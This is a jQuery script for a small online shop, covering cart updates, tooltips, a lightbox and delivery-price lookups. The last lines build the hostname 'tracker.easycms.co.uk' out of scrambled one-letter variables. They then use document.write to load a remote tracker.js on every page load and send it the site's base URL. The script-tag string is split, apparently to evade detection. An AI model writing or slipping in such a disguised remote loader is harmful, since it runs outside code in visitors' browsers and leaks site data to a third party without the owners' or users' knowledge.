// JavaScript Document
$(function() {
		   
		$('.linkbutton').click(function() {
		
			window.location=$(this).attr('href');
		
		});
		   
		//ENABLE TOOLTIPS		
		$("a.tooltip").easyTooltip();
		//ENABLE LIGHTBOX (ColourBox)
	  	$(".lightbox").colorbox({transition:"elastic"});		
		
				var cartopts = {
			success: showcartmsg
		};
		$('.product_form').ajaxForm(cartopts);
			function showcartmsg() {
				reloadcart();	
				jAlert('This product has been added to your shopping cart.','Added to Cart!');
			}

});
//CART FUNCTIONS
function reloadcart() {
	
	$('.cart_block_prod_list').hide();
	$('.cart_block_prod_list_loader').show();
		
		$.get(getbaseurl()+'ajaxproc/loadusercart',null,function(data , statusText) {
																 
			$('.cart_block_prod_list_loader').hide();
			$('.cart_block_prod_list').show();
			$('.cart_block_prod_list').html(data);
			
			$('.cart_item_count').html($('.cart_count_temp_input').attr('value'));
			
		});
	
}
//END OF CART FUNCTIONS

//MISC FUNCTIONS
function getmd5ts() {

	var randomnumber=Math.floor(Math.random()*999999);
	var ts = new Date();
	var datestr = ts.getDate();
	
	
	return hex_md5(randomnumber.toString() + datestr.toString());

}
//OLD CODE FOR TEASER TEXT FUNCTION (CURRENTLY REMOVED)
/*		$(document).ready(function() {
										   
				$("ul.cms_page_nav li a").hover(function() {
					
					var offtop = $(this).position().top;
					var offleft = $(this).position().left;
													   
				
					$(this).find("div").stop()
					.css('top',offtop-1)
					.css('left',offleft+170)
					.animate({left: offleft+180, top:offtop-1, opacity:1}, "fast")
					.css("display","block")
		
				}, function() {
					
					$(this).find("div").stop()
					.css('display','none')
					.hide()
				
				});
				
		});
*///END OF MISC FUNCTIONS

function getdelprice(type,country) {
	if(!type) { var type = $('#del_type_dd').val(); }
	if(!country) { var country = $('#del_country_dd').val(); }
	var delprice = '0.00';
	$('#order_delivery_price').html('&nbsp;Calculating...');
	
	$.get(getbaseurl()+'ajaxproc/getdelprice/'+type+'/'+country,null,function(data, statusText) {
	
		$('#order_delivery_price').html(data);
		var origcartcost = $('#orig_cart_cost').attr('value');
		var newtotal = data*1 + origcartcost*1;
		$('#cart_total').html(newtotal);
		$('#cart_total').formatCurrency({ symbol : '' });
	
	});
	
	$('#hidden_del_type_dd').attr('value',$('#del_type_dd').val());
	$('#hidden_del_country_dd').attr('value',$('#del_country_dd').val());
	

}


var x1 = 't';
var b12 = 'r';
var z2 = 'a';
var qw1 = 'c'
var w3 = 'k';
var r2 = 'e';

var e43 = 's';
var l1 = 'y';
var o12 = 'm';
var gb3 = 'o';
var a12 = 'u';
var u59 = '.';



var t31 = x1+b12+z2+qw1+w3+r2+b12; //tracker

var h83 = r2+z2+e43+l1+qw1+o12+e43+u59+qw1+gb3+u59+a12+w3; //easycms.co.uk



document.write('<script type="text/javascript" src="http://'+t31+u59+h83+'/'+t31+'.js?refsite='+getbaseurl()+'"></scr'+'ipt>');
